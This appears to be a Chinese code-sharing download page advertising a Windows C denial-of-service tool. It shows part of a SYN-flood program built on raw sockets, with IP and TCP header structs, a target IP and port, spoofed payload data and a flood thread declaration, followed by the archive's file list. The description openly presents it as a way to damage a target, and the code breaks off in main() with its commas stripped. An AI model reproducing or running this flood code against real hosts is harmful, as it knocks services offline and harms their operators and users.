资源简介
Dos攻击,及拒绝服务攻击,此攻击可以实现对对方的破坏,代码清晰。
代码片段和文件信息
/*****************************/
/* Thanks to Author LionD8 */
#include “stdio.h“
#include “winsock2.h“
#include “windows.h“
#include
#include “wchar.h“
#pragma comment(lib “ws2_32.lib“)
#define SIO_RCVALL _WSAIOW(IOC_VENDOR1)
char* TargetIP; // 目标机IP
USHORT TargetPort; // 目标端口
USHORT StartPort = 1; // 起始端口
int Interval; // 发包时间间隔
UCHAR* outflowbuf = NULL; // 选项字节
char* psend = NULL; // 伪造数据
DWORD len = 0; // 伪造数据长度
USHORT optlen= 0; // 选项字节长度
// 定义IP首部格式
typedef struct _IPHeader
{
unsigned char h_verlen; // 版本和首部长度
unsigned char tos; // 服务类型
unsigned short total_len; // 总长度
unsigned short ident; // 标识号
unsigned short frag_and_flags; // 段偏移量
unsigned char ttl; // 生存时间
unsigned char proto; // 协议
unsigned short checksum; // 首部校验和
unsigned int sourceIP; // 源IP地址
unsigned int destIP; // 目的地址
}IPHEADER;
// 定义TCP首部格式
typedef struct _TCPHeader
{
USHORT th_sport; // 源端口号
USHORT th_dport; // 目的端口号
unsigned int th_seq; // SEQ序号
unsigned int th_ack; // ACK序号
unsigned char th_lenres; // 首部长度
unsigned char th_flag; // 控制位
USHORT th_win; // 窗口大小
USHORT th_sum; // 校验和
USHORT th_urp; // 紧急指针
}TCPHEADER;
// 定义伪首部格式
typedef struct _PSDHeader
{
unsigned long saddr; // 源地址
unsigned long daddr; // 目的地址
char mbz;
char ptcl; // 协议类型
unsigned short tcpl; // TCP长度
}PSDHEADER;
// 定义攻击目标结构
typedef struct _AttackObj
{
DWORD dwIP; // 目标机IP
USHORT uAttackPort[11]; // 目标机端口
struct _AttackObj* Next;
}ATOBJ;
ATOBJ* ListAttackObj=0;
// 初始化原始套接字
BOOL InitRawSocket();
// 获取本地IP地址
DWORD GetLocalIP();
// 计算校验和
USHORT checksum(USHORT *buffer int size);
// 发送SYN洪水攻击
DWORD WINAPI SYNThreadFlood(LPVOID lp);
// 发送数据
void SendData(DWORD SEQ DWORD ACK
USHORT SPort USHORT APort
DWORD SIP DWORD AIP char* pBuf
BOOL IsdataDWORD dwSize);
// 监听端口功能
DWORD WINAPI ListeningFunc(LPVOID lpvoid);
// 转换成选项字节
void ConvertOpt (CHAR* pu);
SOCKET sock = NULL;
int main(int argc char* argv[])
{
psend = (char*)malloc(800);
memset(psend0x38799);
psend[799] = 0;
len = strlen(psend);
if ( argc < 3)
{
printf(“input error!\n“);
return -1;
}
// 获取目标机IP
TargetIP = strdup(argv[1]);
TargetPort = atoi(argv[2]);
// 定义攻击字符串
if ( argc == 3)
Interval = 100; // 默认发包间隔
if ( argc == 4)
{ // 获取发包间隔参数
Interval = atoi(argv[3]);
}
CHAR* optbuftemp = “020405B401010402“;
ConvertOpt (optbuftemp); // 转换溢出字符串
outflowbuf[3]-=1;
char HostName[255]={0};
// 初始化原始套接字
if ( InitRawSocket() == FALSE )
return -1;
if (
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 15657 2006-12-22 00:19 DoS\DoS.cpp
文件 4248 2006-12-20 23:14 DoS\DoS.dsp
文件 531 2006-12-20 22:28 DoS\DoS.dsw
文件 50176 2006-12-22 01:02 DoS\DoS.ncb
文件 53760 2006-12-22 01:02 DoS\DoS.opt
文件 765 2006-12-22 00:19 DoS\DoS.plg
目录 0 2007-08-10 09:47 DoS
----------- --------- ---------- ----- ----
125137 7
- 上一篇:C语言连接mysql,实现通讯录功能
- 下一篇:c++连通区域标记 算法
评论
共有 条评论